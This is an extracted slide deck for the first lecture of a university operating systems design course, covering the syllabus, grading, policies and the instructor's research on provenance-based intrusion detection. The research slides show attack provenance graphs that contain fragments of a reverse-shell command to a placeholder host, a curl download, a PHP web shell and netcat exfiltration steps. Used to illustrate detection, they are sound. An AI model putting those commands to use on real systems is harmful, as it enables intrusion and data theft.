CS 423 Operating System Design: This is the Syllabus Professor - - PowerPoint PPT Presentation

▶
cs 423 operating system design this is the syllabus
SMART_READER_LITE
LIVE PREVIEW

CS 423 Operating System Design: This is the Syllabus Professor - - PowerPoint PPT Presentation

Jun 08, 2023 584 likes •853 views

CS 423 Operating System Design: This is the Syllabus Professor Adam Bates CS423: Operating Systems Design Learning Objectives Before CS 423: Knowledge of C/C++ Basic knowledge of Linux/POSIX APIs and functions After CS 423:

slide-1
SLIDE 1

CS423: Operating Systems Design

Professor Adam Bates

CS 423
 Operating System Design:
 This is the Syllabus

slide-2
SLIDE 2

CS423: Operating Systems Design

Learning Objectives

2

Before CS 423:

  • Knowledge of C/C++
  • Basic knowledge of Linux/POSIX APIs and functions

After CS 423:

  • Mastery of Operating Systems concepts
  • Comprehensive understanding of virtualization techniques
  • Introduction to advanced OS topics: security, energy, redundant storage…
  • Become a kernel hacker capable of establishing a kernel development

environment and modifying operating system code Today:

  • Introduce the instruction team
  • Go over the requirements and expectations for this course
slide-3
SLIDE 3

CS423: Operating Systems Design

The Team

3

Adam Bates (Instructor) Office: 4306 SC Office Hours: Tuesdays 9:30-10:30 Tel: 217.300.4653 (office hours only) batesa@illinois.edu Alberto Alvarez (TA) <alberto6@illinois.edu> TA Office hours will be announced on class Webpage

  • Prof. Tianyin Xu (Honorary)

<don’t email him about this class>

slide-4
SLIDE 4

CS423: Operating Systems Design

Adam Bates

4

Research Interests: ➢ Provenance-Aware Operating Systems (NDSS’19, CCS’18,

NDSS’18, WWW’17, CCS’16, Sec’15, TaPP’15)

➢ Communications Security (CCS’18, NetSoft’17, CCS’14, IMC’14, NDSS’12, Sec’15, JCS’14) ➢ Embedded Device Security (ICDCS’18, NDSS’18, CCS’16, Sec’16, ACSAC’15, NDSS’14) ➢ Mobile & IoT Security/Privacy (CCS’18, Sec’18, Sec’15) ➢ Cloud Computer Security (WWW’17, IJIS’14, CCSW’13) Career Highlights:

  • 1. Research covered by Wall Street

Journal, PC World, Mobile World Live.

  • 2. 31 Peer-Reviewed publications

(18 Conference Majors)

  • 3. Program Comm. Chair, TaPP’17

Organizing Comm.: IEEE SP ’16-‘18 Program Comm.: NDSS17-’19, USENIX Security ’18-‘19, Oakland’19-‘20, CCS’17

P r

  • v

e n a n c e P l a n e Information Flow Plane

sshd_t shadow_t etc_t syslog_t sysadm_t

Policy

USB Mediator

Device Claims MNF , Product, Interfaces User Expectations MNF , Product, Features

slide-5
SLIDE 5

CS423: Operating Systems Design

About My Research

5

How can we reason about the provenance (i.e., history) of data objects and events in computing systems?

The provenance graph for an web service using ImageMagick, a pervasive image processing library for *nix.

1. httpd recv e.e.e.e on port 80 2. httpd writes uploads/rsh.jpg 3. httpd forks shell process 4. shell process runs identify 5. identify loads libMagick library, reads uploads/rsh.jpg

WasGeneratedBy Used WasGeneratedBy Used WasTriggeredBy Used WasTriggeredBy e.e.e.e HTTP Request httpd worker uploads/rsh.jpg identify uploads/rsh.jpg sh -c identify uploads/rsh.jpg libMagickCore.so.2.0.0

slide-6
SLIDE 6

CS423: Operating Systems Design

About My Research

6

How can we reason about the provenance (i.e., history) of data objects and events in computing systems?

The provenance graph for an web service using ImageMagick, a pervasive image processing library for *nix.

1. httpd recv e.e.e.e on port 80 2. httpd writes uploads/rsh.jpg 3. httpd forks shell process 4. shell process runs identify 5. identify loads libMagick library, reads uploads/rsh.jpg

ImageTragick: What happens when we upload this “image”?

WasGeneratedBy Used WasGeneratedBy Used WasTriggeredBy Used WasTriggeredBy e.e.e.e HTTP Request httpd worker uploads/rsh.jpg identify uploads/rsh.jpg sh -c identify uploads/rsh.jpg libMagickCore.so.2.0.0

slide-7
SLIDE 7

CS423: Operating Systems Design

About My Research

7

How can we reason about the provenance (i.e., history) of data objects and events in computing systems?

ImageTragick: What happens when we upload this “image”?

WasGeneratedBy Used WasGeneratedBy Used WasTriggeredBy Used WasTriggeredBy WasTriggeredBy WasTriggeredBy WasTriggeredBy WasGeneratedBy WasTriggeredBy e.e.e.e HTTP Request httpd worker uploads/rsh.jpg identify uploads/rsh.jpg sh -c identify uploads/rsh.jpg libMagickCore.so.2.0.0 sh -c curl -s -k -o /tmp/magic bash -i /dev/tcp/X.X.X.X/9999 vi htdocs/reverse-shell.php reverse-shell.php curl -s -k -o /tmp/magick-XX8MNK2f http

The provenance graph for an web service using ImageMagick, a pervasive image processing library for *nix.

1. httpd recv e.e.e.e on port 80 2. httpd writes uploads/rsh.jpg 3. httpd forks shell process 4. shell process runs identify 5. identify loads libMagick library, reads uploads/rsh.jpg

slide-8
SLIDE 8

CS423: Operating Systems Design

About My Research

8

How can we reason about the provenance (i.e., history) of data objects and events in computing systems?

Most recently, we’ve started using provenance to automatedly and accurately identify anomalies in system events, creating a new primitive for intrusion detection.

bash ls apache2 bash bash cp bzip2 ls cat apache2 sshd /var/www/data.tar.bz2 data.tar.bz2 apache2 data.tar tar apache2 bash .ssh/authorized_keys/ nc.traditional bash bash nc.traditional ls ls ls cat ls dir cat apache2 apache2 apache2 wget data.tar.bz2 apache2 sensitive.txt bash bash nc.traditional passwd

Low Anomaly Score High Anomaly Score

E1 E2 E3

.bash_history cat

slide-9
SLIDE 9

CS423: Operating Systems Design

What’s in it for you?

  • Understand the foundations of all computer software
  • Apply systems concepts and methodologies to higher

layer software systems. Modern browsers, language virtual machines, and IoT devices all run their own forms of operating systems!

  • Acquire a very particular (and lucrative) set of skills!

9 “I attended a Microsoft-organized meeting where the Director of Engineering of (Microsoft in Redmond) talked to me about a great need for engineers who know operating systems/device drivers, and know linux kernel/programming at such lower levels. He bitterly complained that many CS departments are dismanteling their OS programs. I told him that we have actually multiple OS undergraduate classes at UIUC the current instructor to advertise among the students who take these courses that there are many jobs at Microsoft in OS area (more than ever!).”

slide-10
SLIDE 10

CS423: Operating Systems Design

Prerequisites

10

  • Did you take CS241?
  • Did you take ECE391?
  • Do you have systems programming experiences from

another university?

  • If not, you might have a bad time in this course…
slide-11
SLIDE 11

CS423: Operating Systems Design

Online Discussion

11

https://piazza.com/illinois/spring2019/cs423/

Go here for announcements and to ask questions. Instruction team will be checking forums regularly!

slide-12
SLIDE 12

CS423: Operating Systems Design

Textbook

  • “Operating Systems: Principles & Practice” 2nd Edition

Thomas Anderson, Michael Dahlin

  • On hold at bookstore
  • Reasonably priced! (~$70)
  • Old editions are fine
  • Alternate textbooks are fine

12

slide-13
SLIDE 13

CS423: Operating Systems Design

Additional Texts

13

  • Alternative Textbooks:

Internals and Design Principles Stallings, 2014 Modern Operating Systems Tanenbaum and Bos, 2014 Operating System Concepts Silberschatz, Galvin and Gagne, 2012

  • Other Recommended Reading:

Virtual Machines Smith and Nair, 2005 Linux Kernel Development** Love, 2010

** Helpful for MPs

slide-14
SLIDE 14

CS423: Operating Systems Design

CS 423 Requirements

14

  • Attendance/Participation
  • Come to class, MWF, 11-11:50am
  • Participate actively in class and on piazza
  • Machine Problems (MPs): 4 major programming

assignments + one warm-up

  • Periodic Homeworks: includes “prereqs” and

“practice final”, may assign more

  • Midterm & Final Exams: Dates TBD
  • 4 Credit Class: Read additional assigned literature

and submit summaries weekly.

ALL WORK IS TO BE INDEPENDENTLY COMPLETED!

slide-15
SLIDE 15

CS423: Operating Systems Design

Participation

  • Contribute in class — ask questions, respond to

questions, share relevant outside knowledge.

  • Contribute *good* questions and answers on Piazza!
  • “The kind of answers you get to your technical questions

depends as much on the way you ask the questions as on the difficulty of developing the answer.”

  • How To Ask Questions The Smart Way:

http://www.catb.org/esr/faqs/smart-questions.html

  • Other questions (e.g., administrative) on Piazza are

also welcome, but won’t give you participation credit.

15

slide-16
SLIDE 16

CS423: Operating Systems Design

Four Credit Section

  • Intended audience: graduate students, ambitious undergraduate

students interested in research.

  • Earn your 4th credit by reading and summarizing weekly literature

assignments

  • Summaries due on the Friday of each week. The first

summaries are due January 25th.

  • Upload summaries as PDFs on compass.
  • PDFs should be typeset in LaTeX.
  • Assigned readings are marked as C4 in the Assignments section of the

class schedule. Other students are not required to read these papers.

  • Grading: Summaries will contribute to C4 student’s homework and

participation credit.

16

slide-17
SLIDE 17

CS423: Operating Systems Design

C4 Paper Summaries

17

  • Each summary should be about a page in length.
  • Structure your summary to cover:
  • 1. Area
  • 2. Problem
  • 3. Solution
  • 4. Methodology
  • 5. Results
  • 6. Takeaway
slide-18
SLIDE 18

CS423: Operating Systems Design

Machine Problems

18

  • Implement and evaluate concepts from class in a

commodity operating system

  • Kernel Environment: Linux. Not a toy OS, but a real 25

million LoC behemoth.

  • Why? Building out a small OS is good experience, but

navigating an existing code base is a more practical skill.

  • Recall from earlier:

“I attended a Microsoft-organized meeting where the Director of Engineering of (Microsoft in Redmond) talked to me about a great need for engineers who know operating systems/device drivers, and know linux kernel/programming at such lower levels. He bitterly complained that many CS departments are dismantling their OS programs. I told him that we have actually multiple OS undergraduate classes at UIUC the current instructor to advertise among the students who take these courses that there are many jobs at Microsoft in OS area (more than ever!).”

slide-19
SLIDE 19

CS423: Operating Systems Design

MP Development Environment

  • Engr-IT managed

VMs will be provided for you

  • If you brick your machine (happens often), we’ll need

to open a ticket with Engr-IT (>= 24 hour delay)

  • Brick your machine on a weekend? Too bad for you.
  • Occasionally, the

VM cloud just goes down! That’s fun.

19

slide-20
SLIDE 20

CS423: Operating Systems Design

MP Development Environment

  • Coping Strategies:
  • Develop in your own local

VMs (e.g., VirtualBox).

  • Distro information, etc. will be provided
  • Use version control (private repositories only)
  • You will still need to test and submit your MPs in

the Engr-IT cloud VM, which is where we will grade

  • Extensions due to

VM failures will only be granted for cloud-wide availability disruptions and other extraordinary circumstances, not for self-inflicted issues!

20

slide-21
SLIDE 21

CS423: Operating Systems Design

Grading

21

Final Exam: 25% Mid-term Exam: 25% Homework: 5% Machine Problems (5 total): 35% 3%, 8%, 8%, 8%, 8% Participation: 10% Class/Forum involvement

slide-22
SLIDE 22

CS423: Operating Systems Design

Policies

22

  • No screens in class!
  • Distracts you (sorta bad)
  • Distracts others (really bad)
  • Inhibits discussion
  • Because science
  • If/when you forget, a TA will ask you to

put your device away.

  • If you’d rather look at a screen, all

lectures are recorded online anyway.

slide-23
SLIDE 23

CS423: Operating Systems Design

Policies 2

23

  • No late homework/MP submissions
  • 1 week window for re-grades from return date
  • Cheating policy: Zero tolerance
  • 1st offense: get zero
  • 2nd offense: fail class
  • Example: You submitted two MPs in which

solutions were not your own. Both were discovered at the same time. You fail class.

slide-24
SLIDE 24

CS423: Operating Systems Design

  • My goal is to make this course challenging but fair.
  • I will offer midterm teaching evaluaJon so I can adjust

my teaching to your feedback.

  • Feedback also welcome in office hours.

Feedback welcome!

24

slide-25
SLIDE 25

CS423: Operating Systems Design

Your To-Do List

25

Today:

  • Visit the class webpage and check out all the info
  • https://courses.engr.illinois.edu/cs423/
  • Refresh your system programming skills (e.g., review CS

241 and see C language tutorial below)

  • http://www.lysator.liu.se/c/bwk-tutor.html
  • Familiarize yourself with Piazza

Soon:

  • Access CS423 development VM, begin MP0
  • Complete HW0
slide-26
SLIDE 26

CS423: Operating Systems Design

Course Website

26

https://courses.engr.illinois.edu/cs423/

Go here for…

  • Syllabus
  • Course Schedule
  • Lecture Slides/Recordings
  • Links to other resources